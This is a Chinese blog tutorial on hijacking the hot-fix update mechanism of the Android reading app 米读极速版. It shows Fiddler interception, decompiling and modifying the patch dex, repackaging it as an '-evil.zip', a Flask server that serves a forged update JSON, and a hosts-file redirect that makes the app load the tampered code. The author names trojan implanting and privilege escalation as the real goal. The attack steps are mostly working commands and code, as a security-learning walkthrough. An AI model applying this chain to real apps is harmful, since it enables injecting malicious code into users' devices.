准备:1. 配置Fiddler抓包环境2. 下载米读极速版(密码:d0r2)3. Android手机/模拟器与电脑连同一个网络1. Fiddler配置首先去官网下载最新版的Fiddler; 下载完后傻瓜式安装就行了; 然后打开软件,先不要急着抓包,首先点击Tools -> Options; 设置HTTPS选项; 设置Connections选项; 点击Actions第二项"Export Root Certificate to Desktop"生成证书;这时候桌面会生成"FiddlerRoot.cer"证书文件;确定后关闭Fiddler; 2. 模拟器配置我这里用的是模拟器(MuMu模拟器64位),手机配置也差不多! 打开模拟器设置,点击WLAN -> 鼠标左键长按 -> 修改网络; 手动设置代理 -> 代理主机名(本机ip) -> 代理端口; 将刚刚生成FiddlerRoot.cer文件导入模拟器并安装(拷到模拟器的共享文件夹中); 至此抓包环境全部配置完毕; 3. 抓包打开Fiddler,并在模拟器中启动米读极速版; 在Fiddler中按 'Ctrl + F' 搜索 .zip后缀的文件(app客户端热更新时会向服务器发出请求,服务器会返回一个json格式的报文(json里标明了要下载的包的url以及版本等信息)供客户端下载); 双击查看服务器的响应报文; 将json数据格式化: { "code": 0, "message": "成功", "showErr": 0, "currentTime": 1625142319, "data": { "data": [ { "sid": 499, "pkgId": 505, "url": "https://apk./miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip", "length": 2730, "name": "ReadvoiceFix66", "version": "66", "md5": "ec8ab28b08261fe73f7c08d0f8c7cae0" } ] } } 在浏览器中输入url:https://apk./miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip 会下载一个名为 'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip' 的压缩包,这个压缩包里就包含着app打补丁或热更新所需要的classes.dex文件。 压缩包文件内容: 解压后将classes.dex文件用jadx打开;(下面会查看MethodPatchEntry类是否被加载到内存中) 验证该dex文件是否被加载,可以通过dex文件的类是否被加载到内存中来判断!(判断某个类是否被加载,为下文我们在该类的构造函数中插入日志输出语句做铺垫)。 4. Objection查看内存中加载的类安装objection; $ pip install objection 附:objection用法学习见:Frida进阶:内存漫游、hook anywhere、抓包 这里可以用Objection 来查看内存中是否加载了某个类(用frida也可以,但是相对要麻烦些,因为frida要编写脚本,并且加载的类很多,要想全部输出显示必须输出到文件中才好查找目标类) 首先在模拟器中开启frida,frida配置可以转到这篇文章:Frida框架配置 新建命令行窗口: $ frida-ps -U #查看所有进程 objection注入进程: $ objection -g com.lechuan.mdwz explore 查看MethodPatchEntry类是否被加载: $ android hooking search classes MethodPatchEntry 可以看到在内存中搜索到了这个类; 5. 修改classes.dex文件首先用apktool将classes.dex文件反编译成smali文件,接下来修改MethodPatchEntry.smali文件,加入日志输出语句(尽量写在构造函数中,因为构造函数一定会被调用,而其它函数不一定); 修改完后重打包成classes.dex文件,将dex文件和MANIFEST.MF文件压缩,命名为'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip'。 6. 将修改后的.zip文件提供给app执行编写midu-server.py from flask import Flask,jsonify import time app = Flask(__name__) @app.route('/app/getHotFixV2/20') #当执行GET https//127.0.0.1/app/getHotFixV2/20 请求时会执行下面的request_server()函数(但是客户端发送的请求是 GET https://api-platform./app/getHotFixV2/20,怎样在客户端发送这个请求时也执行下面的函数呢?这就要用到下文的hosts),并返回respon里的json数据给app。这里我们首先把刚刚修改的.zip文件上传到自己的服务器上,并将url地址改成我们自己服务器上的.zip文件地址,然后修改文件的length(字节大小)和md5值,最后加上本地的证书 def request_server(): respon = { "code": 0, "message": "成功", "showErr": 0, "currentTime": 1625035561, "data": { "data": [ { "sid": 499, "pkgId": 505, "url": "http://download./miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip", "length": 2797, "name": "ReadvoiceFix66", "version": "66", "md5": "11b5662257d99005054c05f5f242e826" } ] } } return jsonify(respon) app.run('0.0.0.0', debug=True, port=443, ssl_context=('localhost/cert.pem', 'localhost/key.pem')) #本地证书 生成本地证书可以看这篇文章:cert.pem和key.pem文件生成,如果不想自己生成,也可以从这里下载:localhost.zip flask学习可以跳转到这:https://www./flask/flask_routing.html 生成文件的md5值:MD5.py import hashlib import os def get_md5(file_path1): f = open(file_path,'rb') md5_obj = hashlib.md5() while True: d = f.read(8096) if not d: break md5_obj.update(d) hash_code = md5_obj.hexdigest() f.close() md5 = str(hash_code).lower() return md5 if __name__ == "__main__": file_path = r'C:\Users\lxh\Desktop\米读极速版\miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip' #修改文件路径 md5 = get_md5(file_path) print(md5) 进入到C:\Windows\System32\drivers\etc,修改本地的hosts文件: 这里我们需要将本地的ip与米读极速版的服务器域名 api-platform. 绑定,以便app客户端发出 GET https://api-platform./app/getHotFixV2/20 请求时相当于 GET https://127.0.0.1/app/getHotFixV2/20,然后本地会返回一个修改后的json数据给客户端,客户端就会根据json中的url地址去我们自己的服务器上下载已经修改过的.zip压缩包。 拓展:hosts文件的作用:就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。 域名与IP的关系:
DNS解析服务器:
什么是DNS劫持?
7. 最终步这里有个坑:米聊极速版app只有在第一次启动时才会下载那个.zip文件(这一点当时困扰了我好久),所以我们首先得重新安装这个app。
$ adb logcat > E:/midu.txt #保存在E盘根目录下,文件名为midu.txt 2. 运行midu-server.py $ python midu-server.py 3. 重新打开fidder 4. 启动米读极速版app 在日志输出窗户输入Ctrl + C停止日志抓取,然后在E盘根目录打开midu.txt文件,搜索'lvxinghang' 可以看到app成功输出了我们加入的日志! 输出日志对我们来说没有什么用处,真正有用的地方是利用这一点植入自己的木马code,然后获取app的一些信息,提权等,但这个自己目前还不会,后面还得继续学习~~ 附:我们的dex文件会被下载到模拟器中的 /data/data/com.lechuan.mdwz/app_andpatch/b5e4499d54918452539abe20935a3ebe/comlechuanmdwz/ReadvoiceFix66_66 目录下 我的公众号文章来源:https://www.cnblogs.com/lxh2cwl/archive/2021/07/02/14963075.html |
|